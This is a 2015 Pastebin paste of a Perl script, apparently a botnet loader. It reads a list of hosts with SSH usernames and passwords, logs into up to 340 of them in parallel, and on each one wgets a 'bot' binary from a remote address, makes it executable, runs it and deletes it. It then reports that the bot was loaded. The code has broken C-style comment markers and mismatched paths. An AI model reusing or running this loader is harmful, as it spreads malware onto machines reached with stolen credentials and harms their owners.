Advertisement
Guest User

ssssss

a guest
Apr 18th, 2015
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.80 KB | None | 0 0
  1. /*
  2. Made by Vypor
  3. Remade by Proxseas to execute on regular linux systems
  4. /*
  5.  
  6. #!/usr/bin/perl
  7.  
  8. use Net::SSH::Expect;
  9. #use strict;
  10.  
  11. my @pids;
  12. my $max = 340;
  13. my $children = 0;
  14.  
  15. my $openme = $ARGV[0];
  16. open my $handle, '<', $openme;
  17. chomp( my @loadlist = <$handle> );
  18. close $handle;
  19.  
  20. for my $i (@loadlist) {
  21. my $pid;
  22.  
  23. if($children == $max) {
  24. $pid = wait();
  25. $children--;
  26. }
  27.  
  28. if(defined($pid = fork())) {
  29. if($pid) {
  30. $children++;
  31. push @pids, $pid;
  32. } else {
  33. child($i);
  34. exit;
  35. }
  36. } else {
  37. print "Error: failed to fork\n";
  38. exit;
  39. }
  40. }
  41.  
  42.  
  43. for my $pid(@pids) {
  44. waitpid $pid, 0;
  45. }
  46. print "DONE.\n";
  47.  
  48.  
  49. sub child() {
  50. my $line = $_[0];
  51. my ($host,$user,$pass) = split (/ /, $line, 3);
  52. my $ssh = Net::SSH::Expect-> new (
  53. host => $host,
  54. password => $pass,
  55. user => $user,
  56. raw_pty => 1,
  57. timeout => 20,
  58. );
  59.  
  60. my $login_output=$ssh->login();
  61. /*
  62. THIS IS ONLY USED BY MICRO
  63.  
  64. if ( $login_output =~ /ATEN/ )
  65. {
  66. my $bot = "cfa";
  67.  
  68. # $ssh->send("mount -o rw,remount /nv");
  69. # $ssh->send("wget http://1.1.1.1/bot -O /nv/$bot");
  70. # $ssh->send("chmod 777 /nv/$bot");
  71. # $ssh->send("/nv/$bot");
  72. /*
  73.  
  74. $ssh->send("wget http://1.1.1.1/botfile -O /whateverdirectory/bot");
  75. $ssh->send("chmod u+x * /whateverdirectory/");
  76. $ssh->send("/tmp/bot");
  77. $ssh->send("rm -rf /whateverdirectory/bot");
  78. while ( defined ($line = $ssh->read_line()) ) {
  79.  
  80. }
  81.  
  82.  
  83. print "[\e[0;32m+\e[0m] \e[0;32m$bot Has Been Loaded To: $host\e[0m\n";
  84.  
  85. } else {
  86. die "Log in attempt failed with\n";
  87. }
  88.  
  89. exit;
  90. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement